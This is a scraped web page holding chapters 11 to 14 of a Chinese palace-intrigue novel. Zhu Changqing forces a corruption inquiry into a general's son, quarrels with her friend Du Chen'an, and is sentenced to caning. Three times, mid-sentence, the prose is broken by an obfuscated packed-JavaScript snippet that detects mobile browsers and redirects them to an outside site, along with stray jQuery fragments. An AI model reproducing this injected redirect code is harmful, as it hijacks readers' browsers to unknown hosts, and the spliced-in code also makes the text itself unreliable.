“所以，这封请奏不能靠批，得靠逼。” 祝常青几乎要打起寒战来，咬着牙关，一字一顿地问：“怎么逼？” “你。”李凭栏伸出一根手指朝她点了点，眯起眼，笑答，“心怀苍生，挟恩图报。” 祝常青感觉满室的辛香气都一股脑地冲进了她的鼻腔。 她彻底明白过来，她先前曾在太和殿中求过一道圣恩赏赐，原是想给自己在这诡谲的京中留一条后路，却不想，竟要赔在这场局里头，当块垫脚石了。 她越想越咽不下这口气，面子里子都是他们的，自己就得冒着天大的风险，心甘情愿去做这块石头。 天下哪有这般好的事？ 她顿时眼风如刀，语气生硬地质问：“凭什么？” 李凭栏一步步走近她，重复了一遍这问题，将三个字念得轻飘飘的：“凭什么？没有凭什么。你若做，这局便成，你若不做，我就另寻他法。反正机会只有一次，人的命也都只有一条，这样想，你可觉得公平些？” “亦或者，你想要我许诺你什么？”他说这话时脸上挂着淡淡的笑，也许本意并非如此，却总让人觉得促狭。 祝常青已经知道了整件事的首尾，无意再同他浪费口舌，连礼数都不曾周全，转身便要走。 跨出门槛前，她听见李凭栏在身后慢悠悠道： “不出意外的话，冯直半个月后就能归京。时下南边倭寇又起，我瞧陛下似乎有意令吴双去历练。” 她足下生风，头也不回地走着，是一刻钟都不想多呆。 方出刑部大门，就见一辆马车在眼前停下。 上头走下来个青袍官员，身材微胖，双手捧着几本文书，脸上堆着极为和悦的笑颜。 11. 十一章 祝常青以为那是刑部里办公回来的官员，微一福身，错开身子就要走。 却不料对方似乎认得她，忙将人喊住：“祝娘子，留步。” 她错愕地停下脚，好好将这男子打量了一番，虽说容貌称不上多么出众，但胜在气质从容，兴许也是哪个世家里养出来的公子。 祝常青微微笑着：“敢问这位大人，有何指教？” 青袍官员正了正衣冠，自报家门：“祝娘子不认得我，在下是户部蜀平郎中，冯决方。” 她还以为自己听岔了，愣了一会儿，几乎要笑出声来。 心道：李凭栏这刑部当真是个稀罕地。 她面上不显，还作出恍然大悟的样子，毕恭毕敬地重新行了一礼：“原来是小冯大人，小女眼拙，还望大人见谅。不知大人怎么到刑部来了？” 冯决方嘴边笑意更甚，冲她摊开手臂，露出怀里的文书，又很快用宽袖掩上：“不就是为了蜀平的那点事儿吗，底下的人都不够伶俐，我只好亲自来一趟了。” 祝常青闻言意味深长地“哦”了一声，用手背遮了遮嘴角，含歉道：“说来此事还得怪义兄，不想给小冯大人添了这样大的麻烦。” “欸，祝娘子说这话就太见外了，是在下有亏职守。”冯决方摆摆手，就坡下驴，换了个话头，“祝娘子回京这么久，京中商铺可逛熟了？” 祝常青笑而不语。 冯决方接着眉飞色舞道：“东街上有家名曰逢泽馆的茶楼，昨年新建的，最是风雅的去处。近日真是不巧，在下抽不开身，不然定要尽一尽所谓地主之谊，不过祝娘子若是去的话，便将账赊于在下头上，也算我的一点心意了。” “如此，小女记得了。”祝常青娴静地垂下头，移开步子，给人让路，“小冯大人莫误了正事。” 两人又是一团和气地点头致意，仿佛恨不得能目送对方离开。 等到真的擦肩而过，背对着渐行渐远时，却又各自心怀鬼胎地沉下脸来。 - 好容易熬到个休沐日，祝常青着人送了份请帖到杜府。 杜宸安应邀去了茶馆，在一楼客堂的角落里寻到了独自品茶的姑娘，远远看去，举手投足间倒真有几分名士气节。 他摇着头笑起来，大步上前：“你还真是阔绰，一出手就是逢泽馆这样的地方。” 祝常青见人来了，斟一杯茶递到对面，嘴上打趣：“旁人推荐的，说是好地方，我才敢邀杜家公子来。” “就是你不来递帖子，我今日也是要找你一回的。” 杜宸安在她对面落座，接过茶碗啜了两口，夸了句“好茶”，却有些醉翁之意不在酒，问起别的来了：“我听同僚说，你最近往刑部去得勤？” 她咬着杯沿仰头一饮，茶碗就遮盖住她小半张脸，只露出一双低垂着的眼睛，语气淡淡：“义兄对蜀平之事在意得紧，我自然得时常帮着问问。” 杜宸安听完点了点头，也不再说话，若有所思地盯着澄澈的茶水，继续喝茶。 气氛不尴不尬地默了几息，自他们相熟以来，少有这样无话可说的场面。 又因为对彼此太过了解，所以心中了然，对方心里都憋着一口气，欲言又止着些什么。 最终还是祝常青先开口打破沉默，以退为进：“你方才说今日原本就是要来寻我的，是有什么事儿？” 不料杜宸安听了这话，竟直接红了耳朵，脸上显出几分窘迫，自顾自稳住心神，正经道：“我是想说……要不然你嫁予我吧。” 话题转变得太过猝不及防，祝常青险些将杯中茶水泼出去。 她难以置信地去看杜宸安的脸，却见后者一副视死如归的坚定神情，若非说这话的人是他，祝常青定要将这耍流氓的赖皮一纸状告到衙门去。 然而这样没脸没皮的话，祝常青也不是第一次听他说了。 当年她同母亲流亡陵江前，十六岁的杜宸安曾夜闯被抄了家的祝府，拉着她的手，泪眼汪汪地喊她名字：“祝常青，我和我爹娘说过了，我们成婚好不好？我全家都会去求圣上的，求他不要发落你和祝夫人！” 虽然当年她与母亲没有留下，但这份恩情祝常青一直记在心里。 如今旧时重提，她面上依然不见女子提及婚嫁时的羞涩，反而凝重地问：“怎么说起这事了？” 看她态度自然，杜宸安心中的那一点变扭也渐渐退了个干净，如常的样子好似在谈论公务：“你在京中孤身一人，牵扯众多，我又公务繁忙不能时时照看，叫人如何不忧心？” “若你嫁过来，有个杜家妇的名头在，那些人看在我与父亲的面子上，不会为难你。此事我同家中长辈说起过，他们倒也不置可否，我就想着来问问你……” 祝常青越听脸色越难看，到最后甚至克制不住地打断了他：“杜宸安，我问你。” 面前的姑娘罕见地对他露出怒色，眼里有悲愤的不解，杜宸安便将嘴里的话生生掐住，心中隐隐不安。 他清晰地听见她掷地有声的质问：“你到底知不知道，陛下为何要召我回京？” 在那间狭小的寝屋里，祝常青想明白一切的那一刻，她心底无法遏制地生出这样的念头： 杜宸安应该是知晓的。 他父亲是天子近臣，他与李凭栏素有交情，甚至他也身在此局之中，做一颗用来辅佐她的棋子。 凭他的才智，对于圣意，不说全然洞悉，但绝对不可能毫无察觉。 而娶了她，让她进入杜府的荫蔽之下，是杜宸安从一始终的保护手段。 面前之人哑口无言的神情已经说明了所有。 祝常青的双拳缓缓握紧，指甲嵌进掌心。 为何什么都不说呢？ 为什么明知她注定无法在蜀平安然逃离，却还是沉默地看她撞个头破血流呢？ 为什么她全副身心地信任着他，而他却想隐瞒到底呢？ 大半个月来，无助绝望的滋味她都已尝了个遍，却没有哪一刻像现在这样疼，连左腕上快愈合的伤口也开始作痛。 “只言片语都不肯透露，你当真是将我瞒得苦。”祝常青已经拿不稳手里的杯子，索性把它放回桌上。 杜宸安拧着眉，将头扭到一侧：“朝堂里的事，行差踏错半步就会万劫不复，我最好你一辈子也不要掺和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438684|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去！” 若非顾念着此处是茶馆，人多眼杂，祝常青真想将茶水泼到他脸上。 她一时间悲愤交加，被怒火冲昏了头，压着声音，口不择言：“你究竟将我当什么？” 她认为朋友不会是这样，朋友应该知无不言，应该互相信任。 即使是为了她着想，想将她护进高门大院里，也不该蒙着头一个人抗下所有。 但她却忘了，在蜀平策马私逃时，她也曾有所隐瞒。 友人的心向来是一样的。 杜宸安似乎是被这话刺痛，将头转了回来，神色灰败，眉目间有种隐忍的狰狞：“我杜宸安自认才疏技拙，想要护你周全只有下策可行，却也万不该受你这样的质问。” 祝常青自知说错了话，可被他欺瞒的滋味实在难以下咽，只好死死咬着唇，将脸撇开，不再言语。 两人对面相坐，却互不相看，各有各的难处，各有各的伤心。 许久，杜宸安才叹息一声，语气里满是无奈：“当初是你说，你怕极了京城里的算计。你若嫁过来，万事有我和父亲挡着，这样不好吗？” 祝常青依旧扭着头，模样固执：“嫁进去我可还出得来？我可还回得去陵江？” 杜宸安闭了闭眼。 他就知道，她仍惦记着陵江的日子，可是陵江…… 那实在是太远太远了。 他从衣襟里摸出一块碎银放在桌上。 虽说是祝常青请客，但他还是带足了银两，两人出门在外，他从不会让她花钱。 “时辰不早，今日你我都累了，先回家吧。日后再有旁的主意，你还是来找我。”杜宸安说完，深深看她一眼，转身离开了。 桌上茶水冰凉，祝常青没有叫人再热一壶，而是一口气将冷茶全灌下肚。 她把杜宸安留下的银子塞进袖中，干脆地起身，脸上已看不出半点波澜。 柜台前，祝常青用手指轻点着桌面，笑道：“掌柜的，贵店兴不兴赊账？” - 城郊的院子里，丫鬟丹珠正蹲在炉灶前，拿着把小蒲扇煎药。 小厮得闲，往她身边凑，看向大门紧闭的正屋，问道：“祝娘子病了好些日子了吧？” 丹珠忧心地叹口气，煽火的动作不停：“是啊，天好不容易暖起来，娘子反倒是病上了，这药一服一服地喝下去，也不见好。” 小厮见她郁闷，便不再提这茬，转而道：“我方才去外头做活，听闻冯大将军已经在回京路上了。” 丹珠闻言，眉间愁容一扫而空，一双眼睛亮晶晶地看他：“真的？北边的叛乱平了？冯将军真是好生厉害！” 被小娘子用崇拜的眼神盯着，带来这个好消息的小厮仿佛与有荣焉，挺了挺胸膛：“可不是吗！东南那边的倭寇也猖狂不了几日了，圣人要派朝廷军队去清剿，据说祝娘子的那位义兄作为副将也要跟着去呢！” 话毕，还不等他们再论上几嘴，院门就被“砰砰砰”地砸响。 两人对上一眼，不约而同地“扑哧”一声笑出来。 这样不拘小节的敲门方式，除了祝娘子的那位义兄还能有谁？ 12. 十二章 果不其然，小厮将院门打开，就见外头站着个人高马大的男子，身上还穿着卫所当值的衣服。 吴双近日常来探望祝常青，与她院子里的人都混熟了。 他本就草根出身，从不自恃官品，与这小厮丫鬟也能说上好一会儿的话。 丹珠见他阔步走进来，便把刚煎好的药递上去一碗，笑道：“麻烦大人看着祝娘子将这药喝了。” 吴双单手稳稳接过药碗，憨厚地应了声好。 屋门被叩开时，祝常青正裹着大氅，伸手要去关西边的窗子。 吴双瞧她一张小脸被吹得煞白，二话不说就把药碗搁在桌上，动作利索地上前替她将窗户的叉竿卸了：“这些事不用你做，你先把药喝了，养好病最要紧。” 祝常青哭笑不得地捧起药碗，她向来不怕苦，喝药是最省心的，不用事先备好什么蜜饯，喉头滚了两滚，一碗苦药汁便全下了肚。 她怕吴双不放心，特意展示了空空如也的碗底，才接着问：“兄长你今日怎么来了，军中事务可准备妥当？” 吴双把她扶回床塌上坐着，答道：“我不过是个副将，事情不算多，明日就要走了，可不得来看看你。” 许是染疾的缘故，祝常青这几日格外困乏，有时一天能睡上六七个时辰，昏昏沉沉的，连时日都记不起来。 经他这么一提醒，才猛然想起，原来抗倭的军队明日就该启程了。 这一去又不知什么时候才能再相见，祝常青难免有些伤怀，一抬眼，发现吴双的情绪也好不到哪去。 只好扯出点笑颜，轻拍了拍他放在膝上粗粝的双手：“圣上很看重你，兄长此番要是立了功，妹妹我也能跟着沾光，在京城里的日子岂不是水涨船高？” 俏皮话并没有让他的脸色有所好转，祝常青幽幽地叹了口气。 毕竟是真刀真枪地上战场，心中怎么可能毫不畏惧，她又哪里能够平常心，只求兄长平安罢了。 岂料吴双担忧的竟不是身家性命，只见他颇为苦恼道：“妹子，你也知道我这性子，怕是难与那些大官为善。平日小事也就罢了，若是打仗用兵时，我与邹将军互看不顺眼，这可咋办？” 祝常青闻言诧异，对吴双有几分刮目相看。 他所言确实是个不小的问题，她沉思片刻，道：“邹将军此人我打听过，不是横行霸道的脾气，若你言语不至于冒犯，只要所言有理，他应当不会苛责。” 但此人立场不明，怕就怕他也受冯党指示，故意要给吴双难堪。 于是祝常青又问：“你当初带回京的那支军队呢，这次抗倭可跟你一起？” 吴双点头：“圣上钦点，要蜀平军队跟我一块儿去历练。” “那就不必管他。”祝常青信誓旦旦道，“朝中能打胜仗的武将本也就冯直一人，兄长好歹和朝廷兵交过手，不用看别人眼色。” 听她话里的意思，竟是要让他一个副将压到主帅头上去。 吴双想不明白其中道理，但对自家妹子是言听计从，自没有旁的异议。 见他脸色仍未好转，祝常青笑问：“兄长还有什么挂心的事儿？今日全说出来，妹妹会替你照看。” 吴双身量比一般人高大，眼下坐在祝常青面前，弓着背，反而显出几分谨小慎微，犹豫着开口： “我能有什么事儿，无非就是担心你的身体，还有……从前蜀平的弟兄们。” 祝常青愣了愣，笑容变得有些勉强：“蜀平知府的位置早换人坐了，兄长还有什么放心不下的？” 吴双神色严肃，目光不是会伤人的锐利，却也极有力量，叫她忍不住想躲开：“妹子，你同我说实话，这案子这么久还下不来，是不是因为有京里的大官作保？” 面对这样简单的质问，祝常青却答不上半个字来，缓缓抿住唇，半晌，心口一阵难耐的憋闷。 她将头撇到一边，撕心裂肺地咳起来。 吴双手忙脚乱地去倒茶，杯子都还没拿稳，就听她的咳嗽渐渐平息下来，嗓音变得沙哑。 “京里的官员查办起来是要费事些，不过应当马上就能有结果，兄长不必忧心，等那些蠹虫被处置了，我一定写信告知。” 吴双继续倒茶的动作，背对着祝常青，连连点头：“妹子你也放心，我此去一定打下胜仗，不会叫你受人欺负。” 祝常青的思绪有些飘远了。 是啊，此番，就是只能胜，不能败。 所有的一切，都只等着再从天而降一个能打胜仗的将军，来结束冯直一人独占鳌头的局面。 春日渐暖，连日头都长起来。 等到天色黄昏，吴双才离开她的院子。 祝常青神情淡漠地盯着那道渐远的背影，直至他彻底消失在那一方小门外。 昏沉的睡意又攀了上来，她走到窗边，将叉竿重新支起，任由冷风灌入衣领，被尘土迷上眼睛。 招安、抗倭， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438685|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴双为她豁出性命从无怨言，不讲道理。 他们都是彼此亲手选择的，这世间最后一个亲人。 兄长之恩情，祝常青自认无以为报，便也只好用自己这条命去偿。 - 乾清宫内。 “军情来报。”泰宁帝将一份奏章递给刚进殿的李凭栏，“冯直携军明日辰时便可进城。” 他双手接过，草草看了一眼便合上：“与先前预计的不差。” 泰宁帝点头，面上却无半分臣子凯旋的喜色，疲惫地问：“祝常青如何了？” 李凭栏：“还病着。” “倒病得真是时候。”泰宁帝不满地哼笑一声，“依你看，她这病明日之前能好全吗？” 李凭栏随意惯了，在陛下面前也没个规矩，说话七拐八弯，暗藏深意：“姑娘家身子弱，京师又不比陵江温暖，她初来乍到，被这冷心冷情的天一吓，病来如山倒，也是情理之中。” “不过侄儿听闻，吴所镇抚离京前去探望过她，二人兄妹情深，既得兄长关怀，想来她的病不日就能好了。” 泰宁帝阂眼揉着额角，闻言眉间舒展开，低沉地“嗯”了一声，又问：“张立瑞呢？” 李凭栏答：“今日放值前，我会将他的请奏批下去。” - 寅时方至，祝常青便悄然起身了。 外头的天全黑着，一户一户的人家不见半点活气。 她点燃屋里的烛台，借着微弱的火光穿戴齐整，里头特意着了件绯色的襦裙，外披大氅御寒。 提着盏灯笼出院，关门时更是小心翼翼，生怕吵醒了耳房的丹珠。 更深露重，她拖着病体在寒夜里行走，目之所及除了脚下被照亮的几块路砖，其余皆是黑黢黢一团。 鞋底踩在一些枯枝败叶上，发出的响声格外叫人心惊胆战。 祝常青也不知道自己走了多久，只觉得拎着灯笼的那只手都快冻掉了，冷风刮过脸庞也彻底没了知觉。 待到走近刑部，天边的那半挂月亮才舍得从云层里露个面。 有月光铺路，她便将灯笼往下放了放，朝那刑部大门处看去一眼。 就这一眼，险些叫祝常青吓掉了魂。 只见左边那座面容狰狞的石狮子边上立着条不怎么显眼的黑影。 那黑影似乎长着眼睛，连同石狮子的目光如有实质地落在她身上，一动不动。 真可谓鬼气森森。 13. 十三章 有一瞬，祝常青感到自己全身的血液都冷了，不免想起一些怪力乱神之说，四肢僵硬得不能动弹。 缓了片刻，她才敢大着胆子将灯笼举高，挪着碎步，走近一些，再走近一些。 等幽暗的光线照得那团黑影无处遁形，她终于卸下一口气。 庆幸中又觉得好笑：“张主事，怎么是你啊。” 一日之中，接近清晨却还未天亮的时刻是最冷的，更别说眼下正值料峭之春。 饶是披着绒毛大氅，祝常青都冷得直想打哆嗦，张立瑞却一身单薄的绿色官服，立在寒风之中，身姿不改。 他见到来人也很惊讶，却还是端正行了个礼，先回答她的问题：“昨日李大人批了在下的请奏，准我今日上殿求圣。” 祝常青听得心中一阵恶寒。 好一个批准，不直接将嫌犯带来，反要他去殿前卖脑袋。李凭栏这甩手掌柜当得真是十足十的称职。 虽然早知其中内情，此刻她仍是心有不平。 若她今日不来，李凭栏是打算让张立瑞用命去换这案子吗？ 见她脸上神情莫测，却许久不说话，张立瑞主动开口问：“不知祝娘子这个时辰怎会来此？” 屡有微风吹过，她手中的灯笼不稳，烛火忽明忽暗。 祝常青提灯往两人中间拢了拢，免它被吹灭了，随口答道：“同你一样，李大人也批了我的请奏。” 她嘴上这么说，心里却不屑道：哪里是李凭栏批了他的请奏，是她准了李凭栏的阴谋才对。 张立瑞闻言愣了愣，随即反应过来她应该是在说笑，无奈道：“祝娘子还是不要戏弄在下了。” 一想到天亮之后自己要面对什么，祝常青看张立瑞就像是看共患难的战友，悲切地叹了口气：“反正，蜀平之事我会帮你，你到时候见机行事就好。” 说完，她将手里的灯笼递给张立瑞：“张大人穿得单薄，拿近点吧，会暖和一些。” 那样一柄烛火，若说取暖，不过是聊胜于无罢了。 李凭栏从暗处缓缓踱步而出时，看到的就是这样一幅友爱画面。 他不禁皱了眉，厉声唤道：“祝常青。” 石狮雕塑边的两人皆循声看去。 李凭栏手中也掌着一灯，他那灯笼精致得紧，估计是宫里的东西，提手上似乎还有雕花，就连照明的范围都是祝常青那盏的数倍。 一时间，三人各异的神色都暴露在亮光之中。 她没料到在早朝之前还能见到李凭栏，毫不犹豫地朝他走去，行礼道：“世子金安。” 不知怎的，才涌出一点儿的无名烦躁霎时散了个无影无踪，李凭栏觉得奇怪，但也无从多想。 他将祝常青上下打量了一番，病中多日，她瞧着似乎是有些憔悴了：“祝娘子身体可还安好？” 面对李凭栏，祝常青端起假笑来那叫一个熟练：“劳世子挂心，不碍事。” 李凭栏低低地“嗯”了一声算作回应，又没头没尾地添了句：“你想好了？” 祝常青清楚他说的是什么意思，腹诽着此人讲话实在太能惹她冒火，抬眼直直地将目光盯回去，顶了句：“世子说笑，我若是能有旁的选择，今日绝不会出现在此。” 李凭栏不悦地牵起嘴角，却也没呵斥她的无礼，反倒将提灯的手柄在掌心里掉了个，递过去：“别在这儿等了，拿着进宫去吧。” 眼下寅时才过半，宫禁刚解，怕是连等着上早朝的官员都没有几个。 他二人身份低微，本想着等上朝时再闹进太和殿去，要是现在进宫，能有人放他们进去吗？ 但李凭栏既这么说，自然有他的打算，祝常青没推辞，接过那漂亮的灯笼，行完礼便转身，叫上张立瑞一同离开。 两人手中各掌一灯，倒不用凑在一块儿看路了。 刚走出没几步，祝常青忽然想到什么，回头看向李凭栏的背影。 只见他步调稳当，右手规矩地背在身后，左手却突然抬起，折了路边低垂下来的一簇树木枝叶，捏在指尖搓着把玩。 她心中了然：原来是有夜能视物的本事。 刑部到皇宫的距离不算近，祝常青久卧病床，少运动，走到后来都开始喘粗气，不得不走走停停地等她调整。 好不容易捱到正午门外，远远地就瞧见一列侍卫正举着火把严正以待。 一个女子，再加一个绿袍小官，怎么看都不像能在这个时辰蒙混过关，闯进皇宫。 还没等祝常青想好要怎么辩解，墙根的阴影里就碎步走出来个中年太监。 他似乎等候已久，眼神在祝常青手中的灯笼上黏了一瞬，立马巴结地笑起来，主动接过那物件，恭敬地替二人引路掌灯：“两位贵人随奴才来就好。” 祝常青与张立瑞不动声色地对视一眼，依言跟着，竟光明正大地过了宫门。 距离太和殿数十步远的亭台里三三两两的有几个人影，是早来的一些大臣。 而祝常青二人则等在又数十步开外的廊下。 宫里四处都有灯火，他们的提灯便被那太监带着悄然退下了。 祝常青此刻瞌睡虫上脑，掩住嘴打了个哈欠，心中无不佩服这些日日都要上朝的官员。 身侧正好有根柱子，她借力将肩膀靠在上面，打算就这么眯一会儿，余光却瞥到一旁的张立瑞。 他紧绷到像株随时都会断裂的竹子。 祝常青抿了抿唇，不知该如何宽慰他，只道：“待会上了殿，你不要说话，此事由我来说。” “为何？”张立瑞垂在身子两侧的拳头握紧，不解，“在下是刑部的主事，也是此案的主审。” “若你还想有命接着审这案子，就得听我的。”祝常青实在精力不济，不想与他多解释，缓缓闭上眼，彻底神游天外了。 等再次睁眼，天色已经大亮。 祝常青不知自己这样站着睡了多久，只觉半边身子都麻了个透，背上不停地冒着冷汗。 “冯将军仍未归？”她的嗓子干得不像话。 “还未。”张立瑞听到动静侧目看去，却被她苍白的脸色吓了一大跳，“祝娘子，你身子可有不适？” 背上的冷汗越冒越多，祝常青支撑不住地扶着柱子坐下，缓了缓神，虚弱地摇头：“许久不见日光罢了。” “这怎么行，我这就叫人……” 他的话被一队浩浩荡荡朝太和殿走去的人打断。 十余个内侍前呼后拥着，腰腹几乎要贴到地上去，大气不敢出，生怕惹了贵人不快。 而处在这队列最前方的，一位是身着绯袍，意气风发的李凭栏。 另一位，便是那威震天下的开国将军，冯直。 似乎是感受到了她直白的目光，隔着十余尺的冯直竟毫无预料地往游廊的方向偏过头来。 就在二人的视线即将撞上之际，李凭栏无端快行了两步，生生将他们的目光阻隔。 祝常青再回过神来，太和殿外就只剩四散的内侍了。 这是她第一回见冯直，久经沙场的武将身上有股浑然天成的杀戮之气，无需对视，只远远地瞻望他一眼，就无法不被震慑。 她心中后知后觉地涌上了一种要让她发呕的恐惧。 几柱香之后，等这位得胜归来的大将军受完天子恩赐，春风得意之后，她就要做那把挥向他儿子的刀剑了。 冯直会怎么做？ 恨不得徒手将她折断吧？ 祝常青脸上连半点血色都看不出了。 张立瑞觉得她不对劲，正要喊住一个小太监，却听那姑娘咬着牙颤声道：“我没事。陛下应该很快就要传见了。” 祝常青一手死死攀着柱子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14438686|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费力站了起来。 不出她所料，等殿内传出好几次声如洪钟的“陛下万岁”之后，就有一太监来引他们觐见。 祝常青抽开脖前的系绳，大氅顺势而落，露出她一身的绯裙。 这是她第二次入太和殿。 头一回还在论功行赏，一转眼，就要为陛下死不足惜了。 她踏进殿内的一刻，恰有徐风穿堂，替她抖开肩上青丝和绯衣裙角。 满堂齐齐朝她注目，就连最前头的冯直也迟缓地侧了点身子，投来一眼。 殿前绯袍，是为四品以上大员。 两人走到堂中，同步提衣下跪： “臣女祝常青。” “微臣张立瑞。” “拜见陛下。” 爱卿凯旋，泰宁帝心情甚好，挥手免了他们的礼：“起来吧，你们二人求见，所谓何事？” 两人闻言都没有起身，祝常青眼疾手快，抢先一步道：“陛下，您可还记得先前许过臣女的赏赐？” “君无戏言！”泰宁帝笑道，“正好，让你沾沾冯将军的光，想要什么赏赐就直说，朕一并全赏了。” 祝常青垂首跪着，猛吸一口气，眼一闭，心一横，拜倒下去。 张立瑞也紧跟着一拜。 “义兄重情重义，行军前仍挂念蜀平之事。臣女斗胆，恳求陛下准许刑部主事张立瑞，提审户部蜀平郎中冯决方等人，彻查此案！” 字句铿锵，震惊满堂。 那些难以置信的目光里还充满了轻蔑与怒火，仿佛他们的眼神能化作匕首，一刀一刀地将她剜肉剔骨。 反对的声音一时层出不穷。 “你不过一女子，对陛下挟恩图报，还妄想插手朝事，当真是胆大包天！” “冯将军才立下汗马功劳，你就想污蔑其子，是是何居心？” “妖女！她是祝氏的妖女！对冯将军怀恨在心，才口出狂言！陛下千万别被她蛊惑！” 所谓言官一张嘴便能杀人。 这样一条条的罪名罗列下去，祝常青就算长了十个脑袋也不够砍了。 她又一磕头，高声道：“冯将军劳苦功高，臣女不敢妄言！” “然义兄领兵归顺，亦有拳拳报国之心，为此远赴东南，舍命抗倭，求陛下莫要让义兄心寒，彻查蜀平贪案！” 眼看一波口诛笔伐又要起，泰宁帝头疼地将手边的茶杯扫到地上。 “砰！” 再无人敢出声。 死寂许久，冯直侧迈一步到殿中，抱拳作揖：“犬子不孝，受人误会，令陛下烦心。” 冯决方闻言也不紧不慢地从队伍里走出来，告罪道：“陛下恕罪，但臣冤枉！” 泰宁帝坐在龙椅上，指尖不停地揉着眉心，苦恼不堪。 他现在确实被架到了进退两难的局面。 进，则辜负冯氏老将；退，则寒心祝家新臣。 作为君王，必舍其一时，就要看看哪条路更为名正言顺了。 冯直虽新立战功，但毕竟已经赏赐了不少。 官场无父子，只有臣子，既然是冯决方的过失，也该由他自己承担。 吴双才领命抗倭，是万不能失了其心的。 况且刑部本就掌管审理疑案，上请查办更是尽职尽责，光明磊落。 泰宁帝将手落回龙椅的扶手上，威严道：“爱卿不必如此，你的忠心朕明白。” “但蜀平一事，朕必须要给祝家兄妹一个交代，等查明真相，自能还决方清白。” 话毕，他没给任何人劝谏的余地：“张立瑞，你是刑部主事，那就由你来说，三法司越级弹劾，该当何罪？” 张立瑞嗓音洪亮：“回陛下，按律，三法司越级弹劾者，杖刑四十。” “好。”泰宁帝拍板定案，“那就一人杖四十吧。” 14. 十四章 杖四十。 祝常青伏在地上，冷汗刷一下浸湿了后背，心如死灰地闭上眼。 那样的大板，就是寻常男子挨过四十下，都得伤筋动骨，打残也不无可能。 遑论以她的体格，只怕二十大板下去就能直接打散。 四十杖，那是奔着让她在刑凳上一命呜呼去的！ 张立瑞闻言一时也慌了神，本以为只需自己受罚即可，万万没料到竟会拖累旁人，用膝盖往前跪行两步，重重磕了个头：“陛下明鉴，律法只言三法司官吏需受杖刑，祝娘子并非朝堂中人，万不可以此定罪！” 冯直傲慢地睨去一眼，不屑道：“张主事此言差矣，祝娘子虽非朝堂中人，却管了朝堂之事，按律责罚，并无不妥，否则天下百姓都争相效仿，插手朝事，可还有王法？” 张立瑞被噎，满堂更无一人会替祝常青求情。 冯党此刻都恨毒了这多管闲事的姑娘。 今日若非她以恩为诱，以功相逼，就凭一个刑部主事，绝不能掀起如此风浪。 此案继续查下去，还不知道要牵扯出多少见不得人的阴私，要推出去几个如蜀平知府一般的替死鬼。 他们巴不得祝常青立刻被赐死，以儆效尤，让所有人都看看，得罪了不该得罪的人，会是什么样的下场。 眼见事情就要定论。 冷眼旁观了全程的杜宸安终于再也忍不住，从队末的位置走出来，一同跪在殿上：“陛下，祝娘子毕竟是女儿身，四十杖未免苛责，还请陛下开恩。” 熟悉的嗓音从身后传来时，祝常青整个人不可控地轻颤了一下。 她缓缓睁开眼，颇为呆滞地盯着眼前的地砖，心中只有一个带着无奈轻笑的念头： 杜宸安还是为她求情了。 哪怕他们几日前争执不下、不欢而散。 哪怕她与杜宸安的所言所想全都背道而行，甚至没有提前与他商议过半句。 祝常青都能想象，他看到自己出现在殿外的那一刻心中会有多气愤。 肯定也暗自下过决心，今日就叫她自生自灭，不管要受天大的责罚都不必理会，令她狠狠长个记性才好。 可事到临了，又哪里真的能无动于衷，还是一跪一拜，不管三七二十一，先求上一情再说。 朝中不乏有与杜氏不对付的官员，趁机踩上两脚： “早听闻这杜家大郎与祝娘子情意匪浅，今日一瞧，果然如此，但杜郎中还是不要以公谋私的好。” 杜尚书不露声色地侧头，用余光看了自己儿子一眼，未置一词。 太和殿算是彻底乱作一团了。 跪的跪，求的求，劝的劝，逼的逼。 一派胡闹场面之下，暗流涌动，针锋相对，只待圣上作出最后抉择。 就在泰宁帝方要开口时，百官之首的队列里又有一人的身影动了动。 却见李凭栏款款走出。 不似殿内其余人严肃紧张的神情，他嘴角勾着一个恰到好处的弧度，满面春风。 “陛下恕罪。”他行礼的姿态流畅而漂亮，“祝娘子原是来讨赏的，您又何苦罚她。说到底这还是刑部的事儿，不如她那四十杖，就由臣领了。” “蜀平之案又一直是张主事在管，四十杖下去只怕案子便要换人查了，为了早日还冯郎中一个清白，陛下何不先罚他二十杖，等结案之后，再让他把剩下的领了。” 李凭栏话毕，满朝官员面面相觑，迟疑着，不知该不该反驳。 那毕竟是陛下的亲侄子，驳了他的面子，便是驳了皇家的面子，一时间，谁也不愿做这个出头鸟，大殿反而安静下来 泰宁帝挥了挥手，示意他先退下，沉思片刻，决断道： “张立瑞身为刑部主事，越级弹劾，理应杖刑四十，念你审理疑案，劳神劳心，先打二十。” “至于祝常青，既来讨赏，朕便赏你十杖吧！” 雷霆雨露，皆是君恩。 祝常青和张立瑞行完大礼，干脆利落地起身，跟着内侍出殿领刑了。 文武百官不得不目送二人离开。 